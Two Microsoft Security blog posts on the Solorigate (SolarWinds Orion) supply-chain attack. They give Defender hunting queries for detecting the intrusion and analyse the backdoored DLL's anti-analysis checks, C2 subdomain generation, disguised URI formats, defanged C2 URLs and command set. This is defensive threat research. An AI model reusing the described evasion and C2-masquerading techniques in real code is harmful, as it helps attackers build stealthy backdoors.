We recommend Microsoft 365 Defender customers to start their investigations here. After gaining deep understanding of the threat and getting the latest research findings, you can take the following recommended steps:

Find devices with the compromised SolarWinds Orion application

The threat analytics report uses insights from threat and vulnerability management to identify devices that have the compromised SolarWinds Orion Platform binaries or are exposed to the attack due to misconfiguration.

From the Vulnerability patching status chart in threat analytics, you can view the mitigation details to see a list of devices with the vulnerability ID TVM-2020-0002, which was added specifically to help with Solorigate investigations:

Threat and vulnerability management insights on impact of Solorigate

Figure 3. Threat and vulnerability management data shows data on exposed devices

Threat and vulnerability management provides more info about the vulnerability ID TVM-2020-0002, as well as all relevant applications, via the Software inventory view. There are also multiple security recommendations to address this specific threat, including instructions to update the software versions installed on exposed devices.

Screenshot of security recommendations for Solorigate in Microsoft Defender Security Center

Figure 4. Security recommendations from threat and vulnerability management

Investigate related alerts and incidents

From the threat analytics report, you can quickly locate devices with alerts related to the attack. The Devices with alerts chart identifies devices with malicious components or activities known to be directly related to Solorigate. Click through to get the list of alerts and investigate.

Some Solorigate activities may not be directly tied to this specific threat but will trigger alerts due to generally suspicious or malicious behaviors. All alerts in Microsoft 365 Defender provided by different Microsoft 365 products are correlated into incidents. Incidents help you see the relationship between detected activities, better understand the end-to-end picture of the attack, and investigate, contain, and remediate the threat in a consolidated manner.

Review incidents in the Incidents queue and look for those with alerts relevant to this attacker’s TTPs, as described in the threat analytics report (also listed at the end of this blog).

Screenshot of Microsoft Defender Security Center incidents view for Solorigate

Figure 5. Consolidated Incident view for Solorigate

Some alerts are specially tagged with Microsoft Threat Experts to indicate malicious activities that Microsoft researchers found in customer environments during hunting. As part of the Microsoft Threat Experts service, researchers investigated this attack as it unfolded, hunting for associated attacker behaviors, and sent targeted attack notifications. If you see an alert tagged with Microsoft Threat Experts, we strongly recommend that you give it immediate attention.

Screenshot of Microsoft Defender Security Center showing Microsoft Threat Experts detections

Figure 6. Microsoft Threat Experts targeted attack notification

Additionally, Microsoft Threat Experts customers with Experts on demand subscriptions can reach out directly to our on-demand hunters for additional help in understanding the Solorigate threat and the scope of its impact in their environments.

Hunt for related attacker activity

The threat analytics report also provides advanced hunting queries that can help analysts locate additional related or similar activities across endpoint, identity, and cloud. Advanced hunting uses a rich set of data sources, but in response to Solorigate, Microsoft has enabled streaming of Azure Active Directory (Azure AD) audit logs into advanced hunting, available for all customers in public preview. These logs provide traceability for all changes done by various features within Azure AD. Examples of audit logs include changes made to any resources within Azure AD, such as adding or removing users, apps, groups, roles, and policies.  Customers who do not have Microsoft Defender for Endpoint or are not early adopters for Microsoft 365 Defender can see our recommended advanced hunting queries.

Currently, this data is available to customers who have Microsoft Cloud App Security with the Office365 connector. Our intent is to expand availability to more Microsoft 365 Defender customers. The new log data is available in the CloudAppEvents table:

CloudAppEvents
| where Application == “Office 365”

The log data contains activity logs useful for investigating and finding Azure AD-related activities. This data further enriches the CloudAppEvents table, which also has Exchange Online and Microsoft Teams activities.

As part of making this new data available, we also published a handful of relevant advanced hunting queries, identified by the suffix [Solorigate], to the GitHub repo.

Here’s an example query that helps you see when credentials are added to an Azure AD application after ‘Admin Consent’ permissions were granted:

CloudAppEvents
| where Application == “Office 365”
| where ActionType == “Consent to application.”
| where RawEventData.ModifiedProperties[0].Name == “ConsentContext.IsAdminConsent” and RawEventData.ModifiedProperties[0].NewValue == “True”
| extend spnID = tostring(RawEventData.Target[3].ID)
| parse RawEventData.ModifiedProperties[4].NewValue with * “=> [[” dummpy “Scope: ” After “]]” *
| extend PermissionsGranted = split(After, “]”,0)
| project ConsentTime = Timestamp , AccountDisplayName , spnID , PermissionsGranted
| join (
CloudAppEvents
| where Application == “Office 365”
| where ActionType == “Add service principal credentials.” or ActionType == “Update application – Certificates and secrets management “
| extend spnID = tostring(RawEventData.Target[3].ID)
| project AddSecretTime = Timestamp, AccountDisplayName , spnID
) on spnID
| where ConsentTime < AddSecretTime and AccountDisplayName <> AccountDisplayName1

Microsoft 356 Defender advanced hunting can also assist in many of the recommended incident investigation tasks outlined in the blog, Advice for incident responders on recovery from systemic identity compromises.

In the remaining sections, we will discuss select examples of alerts raised by Microsoft 365 solutions that monitor and detect Solorigate activities across the attack chain on endpoint, identity, and the cloud. These are alerts you may encounter when investigating incidents in Microsoft 365 security center if your organization is affected by this threat. We will also indicate activities which are now blocked by Microsoft 365 Defender. Lastly, each section contains examples of hunting queries you will find useful for hunting for various attacker activities in your environment.

Detecting and blocking malware and malicious behavior on endpoints

Diagram showing attack chain on endpoints involving the Solorigate malware

Figure 7. Solorigate attack chain: Initial access and command-and-control

Discovering and blocking backdoor activity

When the compromised SolarWinds binary SolarWinds.Orion.Core.BusinessLayer.dll gets loaded on a device through normal update channels, the backdoor goes through an extensive list of checks to ensure it’s running in an actual enterprise network and not on an analyst’s machine. It then contacts a command-and-control (C2) server using a subdomain that is generated partly with information gathered from the affected device, which means a unique subdomain is generated for each affected domain. The backdoor allows the attackers to remotely run commands on the device and move to the next stages of the attack. For more information, read our in-depth analysis of the Solorigate malware.

Microsoft Defender for Endpoint delivers comprehensive protection against this threat (see full list of detection and protection alerts at the end of this blog). Microsoft Defender Antivirus, the default antimalware solution on Windows 10, detects and blocks the malicious DLL and its behaviors. It quarantines the malware, even if the process is running.

Screenshot of Microsoft Defender Security Center showing alert for blocking of Solorigate malware

Figure 8. Microsoft Defender for Endpoint blocks malicious binaries

If the malicious code is successfully deployed, the backdoor lies dormant for up to two weeks. It then attempts to contact numerous C2 domains, with the primary domain being *.avsvmcloud[.]com. The backdoor uses a domain generation algorithm to evade detection. Microsoft 365 Defender detects and blocks this behavior.

Screenshot of Microsoft Defender Security Center showing alert for malicious network connection

Figure 9. Microsoft Defender for Endpoint prevented malicious C2 callback

Discovering potentially tampered devices

To evade security software and analyst tools, the Solorigate malware enumerates the target system looking for certain running processes, loaded drivers, and registry keys, with the goal of disabling them.

The Microsoft Defender for Endpoint sensor is one of the processes the malware attempts to disable. Microsoft Defender for Endpoint has built-in protections against many techniques attackers use to disable endpoint sensors ranging from hardened OS protection, anti-tampering policies, and detections for a variety of tampering attempts, including “Attempt to stop Microsoft Defender for Endpoint sensor”, “Tampering with Microsoft Defender for Endpoint sensor settings”, or “Possible sensor tampering in memory”.

Successfully disabling Microsoft Defender for Endpoint can prevent the system from reporting observed activities. However, the multitude of signals reported into Microsoft 365 Defender provides a unique opportunity to hunt for systems where the tampering technique used might have been successful. The following advanced hunting query can be used to locate devices that should be reporting but aren’t:

// Times to be modified as appropriate
let timeAgo=1d;
let silenceTime=8h;
// Get all silent devices and IPs from network events
let allNetwork=materialize(DeviceNetworkEvents
| where Timestamp > ago(timeAgo)
and isnotempty(LocalIP)
and isnotempty(RemoteIP)
and ActionType in (“ConnectionSuccess”, “InboundConnectionAccepted”)
and LocalIP !in (“127.0.0.1”, “::1”)
| project DeviceId, Timestamp, LocalIP, RemoteIP, ReportId);
let nonSilentDevices=allNetwork
| where Timestamp > ago(silenceTime)
| union (DeviceProcessEvents | where Timestamp > ago(silenceTime))
| summarize by DeviceId;
let nonSilentIPs=allNetwork
| where Timestamp > ago(silenceTime)
| summarize by LocalIP;
let silentDevices=allNetwork
| where DeviceId !in (nonSilentDevices)
and LocalIP !in (nonSilentIPs)
| project DeviceId, LocalIP, Timestamp, ReportId;
// Get all remote IPs that were recently active
let addressesDuringSilence=allNetwork
| where Timestamp > ago(silenceTime)
| summarize by RemoteIP;
// Potentially disconnected devices were connected but are silent
silentDevices
| where LocalIP in (addressesDuringSilence)
| summarize ReportId=arg_max(Timestamp, ReportId), Timestamp=max(Timestamp), LocalIP=arg_max(Timestamp, LocalIP) by DeviceId
| project DeviceId, ReportId=ReportId1, Timestamp, LocalIP=LocalIP1

Microsoft is continuously developing additional measures to both block and alert on these types of tampering activities.

Detecting hands-on-keyboard activity within an on-premises environment

Diagram showing Solorigate hands-on-keyboard attack on premises

Figure 11. Solorigate attack chain: Hands-on-keyboard attack on premises

After establishing a backdoor connection on an affected device, the attacker’s next goal is to achieve off-premises access to the organization’s cloud services. To do this, they must find a way to gain permissions to those services. One technique we have seen the attackers use is to go after the organization’s Active Directory Federation Services (AD FS) server to obtain the proverbial “keys” to the identity kingdom. AD FS enables federated identity and access management by securely sharing digital identity and entitlement rights across security and enterprise boundaries; effectively, it is the “LSASS for the cloud.” Among other things, AD FS stores the Security Assertion Markup Language (SAML) token signing certificate, which is used to create authorization tokens for users or services in the organization so they can access cloud applications and resources after authentication.

To attack the AD FS infrastructure, the attackers must first obtain appropriate domain permissions through on-premises intelligence gathering, lateral movement, and credential theft. Building from the backdoor described above, the attackers leverage fileless techniques for privilege escalation, persistence, and lateral movement, including evading analysis by using system binaries and exploration tools that masquerade as other benign binaries. The attackers also carefully chose organization-specific command-and-control (C2) domains and use custom organization-specific tool naming and locations.

Microsoft Defender for Endpoint detects a wide array of these attack techniques, allowing SOC teams to track the attacker’s actions in the environment and take actions to contain the attack. The following section covers detections for the techniques used by the attackers to compromise the AD FS infrastructure.

Identifying attacker reconnaissance

Attackers collect data from Active Directory using a renamed version of the utility ADFind, running queries against Domain Controllers as part of the reconnaissance stage of the attack. Microsoft Defender for Endpoint detects this behavior and allows the SOC analyst to track compromised devices at this stage to gain visibility into the information the attacker is looking for.

Screenshot of Microsoft Defender Security Center alert for detection of exploration tools

Figure 12. Microsoft Defender for Endpoint detects usage of masquerading exploration tools

Screenshot of Microsoft Defender Security Center alert for detection of LDAP queries

Figure 13. Microsoft Defender for Endpoint detects usage LDAP query for reconnaissance.

Stopping lateral movement and credential theft

To gain access to a highly privileged account needed for later steps in the kill chain, the attackers move laterally between devices and dump credentials until an account with the needed privileges is compromised, all while remaining as stealthy as possible.

A variety of credential theft methods, such as dumping LSASS memory, are detected and blocked by Microsoft Defender for Endpoint. The example below shows the detection of lateral movement using Windows Management Instrumentation (WMI) to run the attacker’s payload using the Rundll32.exe process.

Screenshot of Microsoft Defender Security Center alert for detection of remote WMI execution

Figure 14. Microsoft Defender for Endpoint alert for suspicious remote WMI execution highlighting the attacker’s device and payload

Microsoft Defender for Identity also detects and raises alerts on a variety of credential theft techniques. In addition to watching for alerts, security analysts can hunt across identity data in Microsoft 365 Defender for signs of identity compromise. Here are a couple of example Microsoft Defender for Identity queries looking for such patterns:

Enumeration of high-value DC assets followed by logon attempts to validate stolen credentials in time proximity

let MaxTime = 1d;
let MinNumberLogon = 5;
//devices attempting enumeration of high-value DC
IdentityQueryEvents
| where Timestamp > ago(30d)
| where Application == “Active Directory”
| where QueryTarget in (“Read-only Domain Controllers”)
//high-value RODC assets
| project Timestamp, Protocol, Query, DeviceName, AccountUpn
| join kind = innerunique (
//devices trying to logon {MaxTime} after enumeration
IdentityLogonEvents
| where Timestamp > ago(30d)
| where ActionType == “LogonSuccess”
| project LogonTime = Timestamp, DeviceName, DestinationDeviceName) on DeviceName
| where LogonTime between (Timestamp .. (Timestamp + MaxTime))
| summarize n=dcount(DestinationDeviceName), TargetedDC = makeset(DestinationDeviceName) by Timestamp, Protocol, DeviceName
| where n >= MinNumberLogon

High-volume of LDAP queries in short time filtering for non-DC devices

let Threshold = 12;
let BinTime = 1m;
//approximate list of DC
let listDC=IdentityDirectoryEvents
| where Application == “Active Directory”
| where ActionType == “Directory Services replication”
| summarize by DestinationDeviceName;
IdentityQueryEvents
| where Timestamp > ago(30d)
//filter out LDAP traffic across DC
| where DeviceName !in (listDC)
| where ActionType == “LDAP query”
| parse Query with * “Search Scope: ” SearchScope “, Base Object:” BaseObject “, Search Filter: ” SearchFilter
| summarize NumberOfDistinctLdapQueries = dcount(SearchFilter) by DeviceName, bin(Timestamp, BinTime)
| where NumberOfDistinctLdapQueries > Threshold

At this point, SOC teams can take containment measures within the Microsoft 365 security center, for example, using indicators to isolate the devices involved and block the remotely executed payload across the environment, as well as mark suspect users as compromised.

Detecting and remediating persistence

Microsoft Defender for Endpoint also detects the advanced defense evasion and masquerading techniques used by the attackers to make their actions as close to normal as possible, such as binding a WMI event filter with a logical consumer to remain persistent. Follow the recommended actions in the alert to remove persistence and prevent the attacker’s payload from loading after reboot.

Screenshot of Microsoft Defender Security Center alert for detection of WMI event filter bound to suspicious consumer

Figure 15. Microsoft Defender for Endpoint alert for WMI event filter bound to a suspicious consumer showing the persistence and the scheduled command line

Catching AD FS compromise and the attacker’s ability to impersonate users in the cloud

The next step in the attack focuses on the AD FS infrastructure and can unfold in two separate paths that lead to the same outcome—the ability to create valid SAML tokens allowing impersonation of users in the cloud:

  • Path 1 – Stealing the SAML signing certificate: After gaining administrative privileges in the organization’s on-premises network, and with access to the AD FS server itself, the attackers access and extract the SAML signing certificate. With this signing certificate, the attackers create valid SAML tokens to access various desired cloud resources as the identity of their choosing.
  • Path 2 – Adding to or modifying existing federation trust: After gaining administrative Azure Active Directory (Azure AD) privileges using compromised credentials, the attackers add their own certificate as a trusted entity in the domain either by adding a new federation trust to an existing tenant or modifying the properties of an existing federation trust. As a result, any SAML token they create and sign will be valid for the identity of their choosing.

In the first path, obtaining the SAML signing certificate normally entails first querying the private encryption key that resides on the AD FS container and then using that key to decrypt the signing certificate. The certificate can then be used to create illicit but valid SAML tokens that allow the actor to impersonate users, enabling them to access enterprise cloud applications and services.

Microsoft Defender for Endpoint and Microsoft Defender for Identity detect the actions that attackers take to steal the encryption key needed to decrypt the SAML signing certificate. Both solutions leverage unique LDAP telemetry to raise high-severity alerts highlighting the attacker’s progress towards creating illicit SAML tokens.

Screenshot of Microsoft Defender Security Center alert for LDAP query and AD FS private key extraction 

Figure 16. Microsoft Defender for Endpoint detects a suspicious LDAP query being launched and an attempted AD FS private key extraction

Figure 17. Microsoft Defender for Identity detects private key extraction via malicious LDAP requests

For the second path, the attackers create their own SAML signing certificate outside of the organization’s environment. With Azure AD administrative permissions, they then add the new certificate as a trusted object. The following advanced hunting query over Azure AD audit logs shows when domain federation settings are changed, helping to discover where the attackers configured the domain to accept authorization tokens signed by their own signing certificate. As these are rare actions, we advise verifying that any instances identified are the result of legitimate administrative activity.

ADFSDomainTrustMods

let auditLookback = 1d; CloudAppEvents
| where Timestamp > ago(auditLookback)
| where ActionType =~ “Set federation settings on domain.”
| extend targetDetails = parse_json(ActivityObjects[1])
| extend targetDisplayName = targetDetails.Name
| extend resultStatus = extractjson(“$.ResultStatus”, tostring(RawEventData), typeof(string))
| project Timestamp, ActionType, InitiatingUserOrApp=AccountDisplayName, targetDisplayName, resultStatus, InitiatingIPAddress=IPAddress, UserAgent

If the SAML signing certificate is confirmed to be compromised or the attacker has added a new one, follow the best practices for invalidating through certificate rotation to prevent further use and creation of SAML tokens by the attacker. Additionally, affected AD FS servers may need to be isolated and remediated to ensure no remaining attacker control or persistence.

If the attackers accomplish either path, they gain the ability to create illicit SAML tokens for the identities of their choosing and bypass multifactor authentication (MFA), since the service or application accepting the token assumes MFA is a necessary previous step in creating a properly signed token. To prevent attackers from progressing to the next stage, which is to access cloud resources, the attack should be discovered and remediated at this stage.

Detecting the hands-on-keyboard activity in the cloud environment

Diagram of hands-on-keyboard attacks in the cloud

Figure 18. Solorigate attack chain: Hands-on-keyboard attack in the cloud

With the ability to create illicit SAML tokens, the attackers can access sensitive data without having to originate from a compromised device or be confined to on-premises persistence. By abusing API access via existing OAuth applications or service principals, they can attempt to blend into the normal pattern of activity, most notably apps or service principals with existing Mail.Read or Mail.ReadWrite permissions to read email content via Microsoft Graph from Exchange Online. If the application does not already have read permissions for emails, then the app may be modified to grant those permissions.

Identifying unusual addition of credentials to an OAuth app

Microsoft Cloud App Security (MCAS) has added new automatic detection of unusual credential additions to an OAuth application to alert SOCs about apps that have been compromised to extract data from the organization. This detection logic is built on an anomaly detection engine that learns from each user in the environment, filtering out normal usage patterns to ensure alerts highlight real attacks and not false positives. If you see this alert in your environment and confirm malicious activity, you should take immediate action to suspend the user, mark the user as compromised, reset the user’s password, and remove the credential additions. You may consider disabling the application during investigation and remediation.

Figure 19. Microsoft Defender Cloud App Security alert for unusual addition of credentials to an OAuth app

SOCs can use the following Microsoft 365 Defender advanced hunting query over Azure AD audit logs to examine when new credentials have been added to a service principle or application. In general, credential changes may be rare depending on the type and use of the service principal or application. SOCs should verify unusual changes with their respective owners to ensure they are the result of legitimate administrative actions.

NewAppOrServicePrincipalCredential

let auditLookback = 1d; CloudAppEvents
| where Timestamp > ago(auditLookback)
| where ActionType in (“Add service principal.”, “Add service principal credentials.”, “Update application – Certificates and secrets management “)
| extend RawEventData = parse_json(RawEventData)
| where RawEventData.ResultStatus =~ “success”
| where AccountDisplayName has “@”
| extend targetDetails = parse_json(ActivityObjects[1])
| extend targetId = targetDetails.Id
| extend targetType = targetDetails.Type
| extend targetDisplayName = targetDetails.Name
| extend keyEvents = RawEventData.ModifiedProperties
| where keyEvents has “KeyIdentifier=” and keyEvents has “KeyUsage=Verify”
| mvexpand keyEvents
| where keyEvents.Name =~ “KeyDescription”
| parse keyEvents.NewValue with * “KeyIdentifier=” keyIdentifier:string “,KeyType=” keyType:string “,KeyUsage=” keyUsage:string “,DisplayName=” keyDisplayName:string “]” *
| parse keyEvents.OldValue with * “KeyIdentifier=” keyIdentifierOld:string “,KeyType” *
| where keyEvents.OldValue == “[]” or keyIdentifier != keyIdentifierOld
| where keyUsage == “Verify”
| project-away keyEvents
| project Timestamp, ActionType, InitiatingUserOrApp=AccountDisplayName, InitiatingIPAddress=IPAddress, UserAgent, targetDisplayName, targetId, targetType, keyDisplayName, keyType, keyUsage, keyIdentifier

Discovering malicious access to mail items

OAuth applications or service principals with Mail.Read or Mail.ReadWrite permissions can read email content from Exchange Online via the Microsoft Graph. To help increase visibility on these behaviors, the MailItemsAccessed action is now available via the new Exchange mailbox advanced audit functionality. See if this feature is enabled by default for you. Important note for customers: If you have customized the list of audit events you are collecting, you may need to manually enable this telemetry.

If more than 1,000 MailItemsAccessed audit records are generated in less than 24 hours, Exchange Online stops generating auditing records for MailItemsAccessed activity for 24 hours and then resumes logging after this period. This throttling behavior is a good starting point for SOCs to discover potentially compromised mailboxes.

MailItemsAccessedThrottling

let starttime = 2d;
let endtime = 1d;
CloudAppEvents
| where Timestamp between (startofday(ago(starttime))..startofday(ago(endtime)))
| where ActionType == “MailItemsAccessed”
| where isnotempty(RawEventData[‘ClientAppId’]) and RawEventData[‘OperationProperties’][1] has “True”
| project Timestamp, RawEventData[‘OrganizationId’],AccountObjectId,UserAgent

In addition to looking for throttled telemetry, you can also hunt for OAuth applications reading mail via the Microsoft Graph API whose behavior has changed prior to a baseline period.

OAuthGraphAPIAnomalies

//Look for OAuth App reading mail via GraphAPI — that did not read mail via graph API in prior week
let appMailReadActivity = (timeframeStart:datetime, timeframeEnd:datetime) {
CloudAppEvents
| where Timestamp between (timeframeStart .. timeframeEnd)
| where ActionType == “MailItemsAccessed”
| where RawEventData has “00000003-0000-0000-c000-000000000000” // performance check
| extend rawData = parse_json(RawEventData)
| extend AppId = tostring(parse_json(rawData.AppId))
| extend OAuthAppId = tostring(parse_json(rawData.ClientAppId)) // extract OAuthAppId
| summarize by OAuthAppId
};
appMailReadActivity(ago(1d),now()) // detection period
| join kind = leftanti appMailReadActivity(ago(7d),ago(2d)) // baseline period
on OAuthAppId

Microsoft 365 Defender’s cross-domain XDR correlation enables stronger response to critical security incidents

Like the rest of the security industry, Microsoft continues to track the Solorigate attack, an active threat that continues to unfold as well as evolve. As part of empowering our customers and the larger security community to respond to this attack through sharing intelligence and providing advice, this blog serves to guide Microsoft 365 customers to take full advantage of the comprehensive visibility and the rich investigation tools available in Microsoft 365 Defender. This blog shows that many of the existing capabilities in Microsoft 365 Defender help address this attack, but the unique scenarios created by the threat resulted in some Solorigate-specific detections and other innovative protections, including ones that are made possible by deeply integrated cross-domain threat defense.

For additional information and further guidance, refer to these Microsoft resources:

Microsoft will continue to provide public information about the patterns and techniques of this attack and related intelligence for customers to defend themselves, in addition to enhancing the protection capabilities of Microsoft security solutions.

 

Appendix: Additional details for detection and hunting

Detection details

Attack stage Microsoft 365 Defender detection or alert
Initial access Microsoft Defender for Endpoint:

  • ‘Solorigate’ high-severity malware was detected/blocked/prevented (Trojan:MSIL/Solorigate.BR!dha)
  • SolarWinds Malicious binaries associated with a supply chain attack
Execution and persistence Microsoft Defender for Endpoint:

Command and Control Microsoft Defender for Endpoint:

Defense evasion Microsoft Defender for Endpoint:

  • Suspicious audit policy tampering
Reconnaissance Microsoft Defender for Endpoint:

  • Masquerading Active Directory exploration tool
  • Suspicious sequence of exploration activities
  • Execution of suspicious known LDAP query fragments
Credential access Microsoft Defender for Endpoint:

  • Suspicious access to LSASS (credential access)
  • AD FS private key extraction attempt
  • Possible attempt to access ADFS key material
  • Suspicious ADFS adapter process created

Microsoft Defender for Identity:

  • Unusual addition of permissions to an OAuth app
  • Active Directory attributes Reconnaissance using LDAP

Microsoft Cloud App Security:

  • Unusual addition of credentials to an OAuth app
Lateral movement Microsoft Defender for Endpoint

  • Suspicious file creation initiated remotely (lateral movement)
  • Suspicious Remote WMI Execution (lateral movement)
Exfiltration Microsoft Defender for Endpoint

  • Suspicious mailbox export or access modification
  • Suspicious archive creation

Advanced hunting queries

Attack stage Query link in GitHub repo
General Microsoft Defender for Endpoint Threat and Vulnerability Management:

Initial access Microsoft Defender for Endpoint:

Execution Microsoft Defender for Endpoint:

DeviceProcessEvents
| where InitiatingProcessFileName =~”Microsoft.IdentityServer.ServiceHost.exe”
| where FileName in~(“werfault.exe”, “csc.exe”)
| where ProcessCommandLine !contains (“nameId”)

Command and Control Microsoft Defender for Endpoint

Credential access Azure Active Directory (Microsoft Cloud App Security):

Exfiltration Exchange Online (Microsoft Cloud App Security):

The post Using Microsoft 365 Defender to protect against Solorigate appeared first on Microsoft Security.

Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect

December 18th, 2020 No comments

We, along with the security industry and our partners, continue to investigate the extent of the Solorigate attack. While investigations are underway, we want to provide the defender community with intelligence to understand the scope, impact, remediation guidance, and product detections and protections we have built in as a result.

While the full extent of the compromise is still being investigated by the security industry as a whole, in this blog we are sharing insights into the compromised SolarWinds Orion Platform DLL that led to this sophisticated attack at scale. The addition of a few benign-looking lines of code into a single DLL file spelled a serious threat to organizations using the affected product, a widely used IT administration software used across verticals, including government and the security industry. The discreet malicious codes inserted into the DLL called a backdoor composed of almost 4,000 lines of code that allowed the threat actor behind the attack to operate unfettered in compromised networks.

The fact that the compromised file is digitally signed suggests the attackers were able to access the company’s software development or distribution pipeline. Evidence suggests that as early as October 2019, these attackers have been testing their ability to insert code by adding empty classes. Therefore, insertion of malicious code into the SolarWinds.Orion.Core.BusinessLayer.dll likely occurred at an early stage, before the final stages of the software build, which would include digitally signing the compiled code. As a result, the DLL containing the malicious code is also digitally signed, which enhances its ability to run privileged actions—and keep a low profile.

In many of their actions, the attackers took steps to maintain a low profile. For example, the inserted malicious code is lightweight and only has the task of running a malware-added method in a parallel thread such that the DLL’s normal operations are not altered or interrupted. This method is part of a class, which the attackers named OrionImprovementBusinessLayer to blend in with the rest of the code. The class contains all the backdoor capabilities, comprising 13 subclasses and 16 methods, with strings obfuscated to further hide malicious code.

Once loaded, the backdoor goes through an extensive list of checks to make sure it’s running in an actual enterprise network and not on an analyst’s machines. It then contacts a command-and-control (C2) server using a subdomain generated partly from information gathered from the affected device, which means a unique subdomain for each affected domain. This is another way the attackers try to evade detection.

With a lengthy list of functions and capabilities, this backdoor allows hands-on-keyboard attackers to perform a wide range of actions. As we’ve seen in past human-operated attacks, once operating inside a network, adversaries can perform reconnaissance on the network, elevate privileges, and move laterally. Attackers progressively move across the network until they can achieve their goal, whether that’s cyberespionage or financial gain.

 

Figure 1. Solorigate malware infection chain

The challenge in detecting these kinds of attacks means organizations should focus on solutions that can look at different facets of network operations to detect ongoing attacks already inside the network, in addition to strong preventative protection.

We have previously provided guidance and remediation steps to help ensure that customers are empowered to address this threat. In this blog, we’ll share our in-depth analysis of the backdoor’s behavior and functions, and show why it represents a high risk for business environments. We’ll also share details of the comprehensive endpoint protection provided by Microsoft Defender for Endpoint. In an upcoming blog, we’ll discuss protections across the broader Microsoft 365 Defender, which integrates signals from endpoints with other domains – identities, data, cloud – to provide coordinated detection, investigation, and remediation capabilities.

Where it all starts: A poisoned code library

The attackers inserted malicious code into SolarWinds.Orion.Core.BusinessLayer.dll, a code library belonging to the SolarWinds Orion Platform. The attackers had to find a suitable place in this DLL component to insert their code. Ideally, they would choose a place in a method that gets invoked periodically, ensuring both execution and persistence, so that the malicious code is guaranteed to be always up and running. Such a suitable location turns out to be a method named RefreshInternal.

Figure 2: The method infected with the bootstrapper for the backdoor

Figure 3: What the original method looks like

The modification to this function is very lightweight and could be easily overlooked—all it does is to execute the method OrionImprovementBusinessLayer.Initialize within a parallel thread, so that the normal execution flow of RefreshInternal is not altered.

Why was this method chosen rather than other ones? A quick look at the architecture of this DLL shows that RefreshInternal is part of the class SolarWinds.Orion.Core.BusinessLayer.BackgroundInventory.InventoryManager and is invoked by a sequence of methods that can be traced back to the CoreBusinessLayerPlugin class. The purpose of this class, which initiates its execution with a method named Start (likely at an early stage when the DLL is loaded), is to initialize various other components and schedule the execution of several tasks. Among those tasks is Background Inventory, which ultimately starts the malicious code.

Figure 4. The inserted malicious code runs within a parallel thread

The functionality of the backdoor resides entirely in the class OrionImprovementBusinessLayer, comprising 13 subclasses and 16 methods. Its name blends in with the rest of the legitimate code. The threat actors were savvy enough to avoid give-away terminology like “backdoor”, “keylogger”, etc., and instead opted for a more neutral jargon. At first glance, the code in this DLL looks normal and doesn’t raise suspicions, which could be part of the reason why the insertion of malicious code was undetected for months, especially if the code for this DLL was not frequently updated.

To have some minimal form of obfuscation from prying eyes, the strings in the backdoor are compressed and encoded in Base64, or their hashes are used instead.

Figure 5: Example of obfuscated strings

Initial reconnaissance

The Initialize method is the de facto execution entry point of the backdoor. It carries out several checks to verify that it is running in a real victim’s environment:

  • It verifies that the process hosting the malicious DLL is named businesslayerhost.exe
  • It checks that the last write-time of the malicious DLL is at least 12 to 14 days earlier
  • It delays execution by random amounts of time
  • It verifies that the domain name of the current device meets the following conditions:
    • The domain must not contain certain strings; the check for these strings is implemented via hashes, so at this time the domain names that are block-listed are unknown
    • The domain must not contain “solarwinds”
    • The domain must not match the regular expression (?i)([^a-z]|^)(test)([^a-z]|$), or in simpler terms, it must not look like a test domain
  • It checks that there are no running processes related to security-related software (e.g., Windbg, Autoruns, Wireshark)
  • It checks that there are no drivers loaded from security-related software (e.g., sys)
  • It checks that the status of certain services belonging to security-related software meets certain conditions (e.g., windefend, sense, cavp)
  • It checks that the host “api.solarwinds.com” resolves to an expected IP address

If any of these checks fail, the backdoor terminates. All these inspections are carried out to avoid exposing the malicious functionality to unwanted environments, such as test networks or machines belonging to SolarWinds.

The backdoor

After the extensive validation described above, the backdoor enters its main execution stage. At its core, the backdoor is a very standard one that receives instructions from the C2 server, executes those instructions, and sends back information. The type of commands that can be executed range from manipulating of registry keys, to creating processes, and deleting files, etc., effectively providing the attackers with full access to the device, especially since it’s executing from a trusted, signed binary.

In its first step, the backdoor initiates a connection to a predefined C2 server to report some basic information about the compromised system and receive the first commands. The C2 domain is composed of four different parts: three come from strings that are hardcoded in the backdoor, and one component is generated dynamically based on some unique information extracted from the device. This means that every affected device generates a different subdomain to contact (and possibly more than one). Here’s an example of a generated domain:

Figure 6: Dynamically generated C2 domain

The dynamically generated portion of the domain is the interesting part. It is computed by hashing the following data:

  • The physical address of the network interface
  • The domain name of the device
  • The content of the MachineGuid registry value from the key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography

The backdoor also generates a pseudo-random URI that is requested on the C2 domain. Like the domain, the URI is composed using a set of hardcoded keywords and paths, which are chosen partly at random and partly based on the type of HTTP request that is being sent out. Possible URIs that can be generated follow these formats:

  • pki/crl/<random components>.crl, where <random components> can be numbers and one of the following strings:
    • “-root”
    • “-cert”
    • “-universal_ca”
    • “-ca”
    • “-primary_ca”
    • “-timestamp”
    • “-global”
    • “-secureca”
  • fonts/woff/<random components>-webfont<random component>.woff2 or fonts/woff/<random components>.woff2, where the <random components> can be numbers and one or more of the following strings:
    • “Bold”
    • “BoldItalic”
    • “ExtraBold”
    • “ExtraBoldItalic”
    • “Italic”,
    • “Light”
    • “LightItalic”
    • “Regular”
    • “SemiBold”
    • “SemiBoldItalic”
    • “opensans”
    • “noto”
    • “freefont”
    • “SourceCodePro”
    • “SourceSerifPro”
    • “SourceHanSans”
    • “SourceHanSerif”
  • swip/upd/<random components>, where <random components> can be one or more of the following strings:
    • “SolarWinds”
    • “.CortexPlugin”
    • “.Orion”
    • “Wireless”
    • “UI”
    • “Widgets”
    • “NPM”
    • “Apollo”
    • “CloudMonitoring”
    • “Nodes”,
    • “Volumes”,
    • “Interfaces”,
    • “Components”
  • swip/Upload.ashx
  • swip/Events

Here are examples of final URLs generated by the backdoor:

  • hxxps://3mu76044hgf7shjf[.]appsync-api[.]eu-west-1[.]avsvmcloud[.]com /swip/upd/Orion[.]Wireless[.]xml
  • hxxps://3mu76044hgf7shjf[.]appsync-api[.]us-east-2[.]avsvmcloud[.]com /pki/crl/492-ca[.]crl
  • hxxps://3mu76044hgf7shjf[.]appsync-api[.]us-east-1[.]avsvmcloud[.]com /fonts/woff/6047-freefont-ExtraBold[.]woff2

Finally, the backdoor composes a JSON document into which it adds the unique user ID described earlier, a session ID, and a set of other non-relevant data fields. It then sends this JSON document to the C2 server.

Figure 7: Example of data generated by the malware

If the communication is successful, the C2 responds with an encoded, compressed buffer of data containing commands for the backdoor to execute. The C2 might also respond with information about an additional C2 address to report to. The backdoor accepts the following commands:

  • Idle
  • Exit
  • SetTime
  • CollectSystemDescription
  • UploadSystemDescription
  • RunTask
  • GetProcessByDescription
